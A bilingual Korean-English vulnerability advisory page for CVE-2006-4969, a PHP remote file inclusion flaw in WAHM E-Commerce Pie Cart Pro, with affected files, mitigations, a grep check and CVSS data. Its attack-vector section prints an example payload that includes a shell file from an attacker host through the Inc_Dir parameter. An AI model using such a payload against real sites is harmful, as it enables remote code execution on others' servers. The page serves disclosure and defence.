🔍 CVE-2006-4969

7.5
CVSS Score
HIGH
2006-09-25
2026-04-16 00:27
✅ 완료

🇰🇷 한글 설명

WAHM E-Commerce Pie Cart Pro의 17개 PHP 파일에서 Inc_Dir 매개변수의 입력 검증 부족으로 인한 원격 파일 포함(RFI) 취약점. 공격자가 악의적인 URL을 통해 외부 PHP 파일을 포함시켜 임의의 코드를 실행할 수 있음.

💡 쉬운 설명

웹사이트 파일에서 외부 파일을 불러올 때 검증이 없어서, 공격자가 자신의 악성 파일을 실행시킬 수 있는 문제. 집의 현관문에 자물쇠가 없어서 누구나 들어와 원하는 것을 할 수 있는 것과 같음.

🇺🇸 원문 (English)

Multiple PHP remote file inclusion vulnerabilities in WAHM E-Commerce Pie Cart Pro allow remote attackers to execute arbitrary PHP code via a URL in the Inc_Dir parameter in (1) affiliates.php, (2) orders.php, (3) events.php, (4) index.php, (5) articles.php, (6) faqs.php, (7) guestbook.php, (8) catalog.php, (9) wholesale.php, (10) weblinks.php, (11) certificates.php, (12) sitesearch.php, (13) contact.php, (14) sitemap.php, (15) search.php, (16) registry.php, or (17) error.php.

📍 영향받는 시스템

WAHM E-Commerce Pie Cart Pro (모든 버전) - affiliates.php, orders.php, events.php, index.php, articles.php, faqs.php, guestbook.php, catalog.php, wholesale.php, weblinks.php, certificates.php, sitesearch.php, contact.php, sitemap.php, search.php, registry.php, error.php

⚔️ 공격 벡터

Inc_Dir 매개변수에 외부 악성 PHP 파일 URL을 입력하여 원격 코드 실행 (예: ?Inc_Dir=http://attacker.com/shell.php)

🛡️ 대응 방법

최신 보안 패치 적용 또는 소프트웨어 업그레이드, Inc_Dir 매개변수의 입력값 엄격히 검증 및 필터링, allow_url_include 설정 비활성화

🔧 검증 코드

결과에서 Inc_Dir 변수가 direct include/require에 사용되는 코드가 있으면 취약점 확인. isset() 검사 없이 직접 include되면 위험.

Shell / Script
grep -r 'Inc_Dir' /var/www/ 2>/dev/null | grep -v 'isset.*Inc_Dir' | head -5

📊 CVSS Vector String

CVSS Vector
AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP